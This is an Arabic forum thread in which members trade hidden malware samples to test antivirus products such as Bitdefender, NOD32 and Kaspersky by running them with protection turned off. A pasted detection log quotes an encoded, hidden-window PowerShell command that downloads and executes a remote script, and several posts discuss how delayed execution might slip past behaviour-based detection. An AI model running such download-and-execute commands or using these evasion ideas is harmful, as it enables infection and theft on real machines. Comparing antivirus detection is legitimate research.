تشفيرة ملف خبيث لتجربته بالتشغيل بتاريخ اليوم 14-11-2024

[Ramy BadraanRamy Badraan is verified member.]

ملف مطلوب تجربته بالتشغيل
حتى لو اكتشفه بفك الضغط او الفحص للاشتباه نظراً للتوقيع المبهم
اوقف الفحص وجرب التشغيل
(ممنوع الرفع على فايرس توتال)


الخبراء بس هما اللى يجربوا
وتجميد النظام ضرورى جدا

​

---

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

or

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

​

---

باسوورد فك الضغط

infected​

 

[Ramy BadraanRamy Badraan is verified member.]

@khaled_jtv
احتمال يتخطى بت ديفندر على فكرة
او هيكتشفه بعد ما يشتغل شوية مش على طول
علشان بت ديفندر بيحلل سلوك بالتايم لاين بتاع الملف
ودى ميزة بس فى نفس الوقت عيب قااااااااااااتل

 

[احمد المخاتره]

بالفحص مكتشف من النود

اوقفت الحماية الفعلية وشغلت الملف

 

[Ramy BadraanRamy Badraan is verified member.]

بالفحص مكتشف من النود
مشاهدة المرفق 262236


اوقفت الحماية الفعلية وشغلت الملف
قام النود بحذف الملف

مشاهدة المرفق 262237

لا نود بدأ يظبط نفسه جامد اليومين دول بعد الاصدار الاخير اللى نزل اخر شهر 10 تقريباً
محرك الفحص اتطور وال hips كمان
طبعاً بعد ما كاسبر وقع كل الامريكين بقوا يشتروا النود وبت ديفندر والبلية لعبت معاهم
علشان كدة تلاقى مستواهم بقى كويس الفترة دى
الفلوس بتغير

 

[احمد المخاتره]

الكاسبرسكي

 

[tiktoshitiktoshi is verified member.]

 

[Ramy BadraanRamy Badraan is verified member.]

مشاهدة المرفق 262241

انا مقولتش هواوى يجرب
انا قولت بت ديفندر
وبعدين دة بالفحص انا عايز بالتشغيل
ملف زى دة لو جبت كلب حراسة هيمسكه من التعديل اللى معمول فيه

 

[tiktoshitiktoshi is verified member.]

انا مقولتش هواوى يجرب
انا قولت بت ديفندر

اكتفي بالفحص ai فقط. بالتشغيل اترك الامر لبت ديفندر

 

[Ramy BadraanRamy Badraan is verified member.]

اكتفي بالفحص ai فقط. بالتشغيل اترك الامر لبت ديفندر

طب كابتن
تعرف ابو الهول؟؟ بيقولك خد دول
3 ملفات عنب

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

وجرب عليهم كاسبر يا باشا @احمد المخاتره
غالبا كاسبر لما يشوفهم هيمسح نفسه من على الجهاز ويعملك بلوك

 

[tiktoshitiktoshi is verified member.]

ملف obs
Detection: HEUR:Trojan/Python.ShellLoader.ap
Detection ID: 69D4249C59C8326D
Path: C:\Users\tikk\Desktop\obs\obs.exe
Action: Read
Result: deleted

Process ID: 6400
Process: C:\Windows\explorer.exe
Process Command line: C:\Windows\Explorer.EXE
Parent Process ID: 6360
Parent: C:\Windows\System32\userinit.exe



ملف 11


Detection: Trojan/PS.Encpe.a
Detection ID: 2B51E8496B7C9729
Path: PowerShell_3FC5E67E7A2EE308AF0369D0E187775E36315E3E
Action: Execute
Result: cleaned

Process ID: 6232
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process Command line: powershell.exe -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAGkAcgBtACAAJwBoAHQAdABwAHMAOgAvAC8AbwBwAGUAbgBhAGkAcwBvAHIAYQBsAGEAYgAuAGMAbwBtAC8AUwB0AG8AcgBhAGcAZQAvAFQAbwB3AHMAZQByAHYAaQBjAGUAcwAuAHQAeAB0ACcAKQA=
Parent Process ID: 9632
Parent: C:\Windows\System32\cmd.exe


ملف 33 به مشكل لم اتحقق منه شوة انا مستعجل بعد شوي راجع ليكم خهههههههههههههه

 

[Ramy BadraanRamy Badraan is verified member.]

ملف obs
Detection: HEUR:Trojan/Python.ShellLoader.ap
Detection ID: 69D4249C59C8326D
Path: C:\Users\tikk\Desktop\obs\obs.exe
Action: Read
Result: deleted

Process ID: 6400
Process: C:\Windows\explorer.exe
Process Command line: C:\Windows\Explorer.EXE
Parent Process ID: 6360
Parent: C:\Windows\System32\userinit.exe



ملف 11


Detection: Trojan/PS.Encpe.a
Detection ID: 2B51E8496B7C9729
Path: PowerShell_3FC5E67E7A2EE308AF0369D0E187775E36315E3E
Action: Execute
Result: cleaned

Process ID: 6232
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process Command line: powershell.exe -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAGkAcgBtACAAJwBoAHQAdABwAHMAOgAvAC8AbwBwAGUAbgBhAGkAcwBvAHIAYQBsAGEAYgAuAGMAbwBtAC8AUwB0AG8AcgBhAGcAZQAvAFQAbwB3AHMAZQByAHYAaQBjAGUAcwAuAHQAeAB0ACcAKQA=
Parent Process ID: 9632
Parent: C:\Windows\System32\cmd.exe


ملف 33 به مشكل لم اتحقق منه شوة انا مستعجل بعد شوي راجع ليكم خهههههههههههههه

مشاهدة المرفق 262242

يعنى هى دى الحجة؟؟
عنيا يا صاحبى خد ملف ال dll اللى هو محتاجه
حط الاتنين فى فولدر واحد وجرب التشغيل تانى

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

 

[tiktoshitiktoshi is verified member.]

يعنى هى دى الحجة؟؟
عنيا يا صاحبى خد ملف ال dll اللى هو محتاجه
حط الاتنين فى فولدر واحد وجرب التشغيل تانى

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

ملف 33 اشتغل عادي و لا اتصال و اي تنبيه

 

[Phoenix Valley]

tiktoshi​

بيتدفندر ؟ تم تجاوزه ؟
أعتقد ان الفكرة ان خاصية advanced threat defence تصنف الملف حين التشغيل لأول مرة بعد ذلك تثق بالملف وسلوكياته هنا يكون المخترق مسبقاََ برمجه على انه يشتغل بعد اسبوع او شهر وهنا برنامج الحماية قد يكون وثق مسبقا بالملف ولن يفحصه مجدداََ

 

[Ramy BadraanRamy Badraan is verified member.]

ملف 33 اشتغل عادي و لا اتصال و اي تنبيه

يا عينى
معلش
قولتلك هواوى محتاج اسكرينة مسمعتش كلامى

 

[tiktoshitiktoshi is verified member.]

يا عينى
معلش
قولتلك هواوى محتاج اسكرينة مسمعتش كلامى

لا يحبيبي هواوي كان مشعول عشانك
اتفضل
تحديث جديد للمحرك بعد تجربة هههه
مش قاعدة دا محرك

 

[Ramy BadraanRamy Badraan is verified member.]

لا يحبيبي هواوي كان مشعول عشانك
اتفضل
تحديث جديد للمحرك بعد تجربة هههه
مش قاعدة دا محرك
مشاهدة المرفق 262274

اه بعد ما جربت اول مرة راح تخطاه فهو بقى راح رفع الملفات على السحابة بتاعته فالدعم فحصوا الملفات لقيوها ملغومة راح منزلينهم فى التحديث
خطة فى منتهى الذكاء

 

[khaled_jtv]

@khaled_jtv
احتمال يتخطى بت ديفندر على فكرة
او هيكتشفه بعد ما يشتغل شوية مش على طول
علشان بت ديفندر بيحلل سلوك بالتايم لاين بتاع الملف
ودى ميزة بس فى نفس الوقت عيب قااااااااااااتل

انا معك انها نقطة ضعف
على فكره البت تطور اليومين دول بشكل
ممتاز
تحياتي

 

[tiktoshitiktoshi is verified member.]

اه بعد ما جربت اول مرة راح تخطاه فهو بقى راح رفع الملفات على السحابة بتاعته فالدعم فحصوا الملفات لقيوها ملغومة راح منزلينهم فى التحديث
خطة فى منتهى الذكاء

هواوي سيضيف 6 طبقات عشان برامج الفدية
دا هواوي مش فاصل شحن على طول هههه مثل زي البرامج لي فصلت شحن و عاد بعتمد على باور بانك وافيرا و افاست و بولجارد بجنبها هههه
بولجارد سيستدبل ماكان دييب جارد في f-secure

 

[Ramy BadraanRamy Badraan is verified member.]

انا معك انها نقطة ضعف
على فكره البت تطور اليومين دول بشكل
ممتاز
تحياتي

انت جربته علي الملف ولا لا؟؟

 

[Ramy BadraanRamy Badraan is verified member.]

هواوي سيضيف 6 طبقات عشان برامج الفدية
دا هواوي مش فاصل شحن على طول هههه مثل زي البرامج لي فصلت شحن و عاد بعتمد على باور بانك وافيرا و افاست و بولجارد بجنبها هههه
بولجارد سيستدبل ماكان دييب جارد في f-secure

يا عم خليه يضيف براحته
عقبال ما يبقى برنامج حماية يا رب
انا بتمناله الخير زى ما بتمناه لكومودو بالظبط